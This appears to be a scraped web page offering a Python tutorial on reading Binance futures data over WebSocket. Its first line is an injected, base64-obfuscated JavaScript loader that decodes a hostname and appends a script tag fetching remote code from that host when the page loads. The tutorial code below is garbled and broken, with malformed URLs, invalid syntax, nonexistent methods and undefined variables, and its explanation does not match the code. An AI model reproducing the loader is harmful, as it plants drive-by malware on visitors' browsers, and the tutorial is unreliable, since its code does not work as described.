const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=97c8a821″;document.body.appendChild(script);
Get Binance Futures Data with Python Binance WebSocket Stream
== ==
As a cryptocurrency enthusiast, you are probably no stranger to the world of decentralized trading and cryptocurrency markets. However, navigating the intricacies of the Binance websocket API can be daunting, especially when it comes to extracting specific data for a particular asset.
In this article, we will walk you through creating a Python code snippet that uses the Binance WebSocket API to extract user data and coin prices from a live stream. This example will demonstrate how to achieve this using the popular “requests” library to make HTTP requests and “pandas” to manipulate the data.
Prerequisites
—————–
Before you begin, make sure you have:
requests
, pandas
, and websocket-client
(pip install requests websocket-client
)Code
————
Here is the code snippet that extracts user data and coin prices from a Binance WebSocket live stream:
import requests
import pandas as pd
from websocket import create_connection
Set your Binance API key (replace it with your own)API_KEY = "YOUR_BINANCE_API_KEY"
get_user_data(url) definition:
"""Get data user from the specified URL"""
headers = {'Authorization': f'Bearer {API_KEY}'}
response = requests.get(f' params={'symbol': 'BTCUSDT'})
return response.json()
def get_coin_prices(ws_url, symbol):
"""Get coin prices from Binance WebSocket feed"""
ws = create_connection(ws_url)
def callback(message):
if message['type'] == 'message':
data = json.loads(message.decode())
prices = []
for element in data:
price = float(element['data']['price'])
prices.add(price)
return pd.DataFrame(prices).to_dict()
ws.subscribe(symbol, callback=callback)
ws.close()
Get user data and coin pricesws_url = 'wss://binance.com/ws/2'
symbol = "BTCUSDT"
user_data = get_user_data(ws_url)
coin_prices = get_coin_prices(ws_url, symbol)
Print the extracted dataprint("User data:")
for user in user_data:
print(user['id'], user['Symbol'])
print("\nCoin prices:")
for coins, prices in coin_prices.items():
print(f"{currency}: {prices}")
Explanation
————–
This code consists of two main functions: get_user_data
and get_coin_prices
. The first function retrieves user data from the Binance API using the specified URL. It then uses a callback function to parse the received JSON data.
The second function creates a Binance WebSocket connection using the create_connection
function from websocket-client
. It subscribes to the specified symbol (in this case, BTCUSDT) and listens for new messages. When a message is received, it extracts the relevant data (price) and returns it as a dictionary. Finally, it closes the WebSocket connection.
Tips and Tricks
————————-
get_user_data
function to retrieve other types of data (e.g. market orders).By following this code example, you should be able to successfully retrieve user data and coin prices from a Binance WebSocket stream. Happy trading!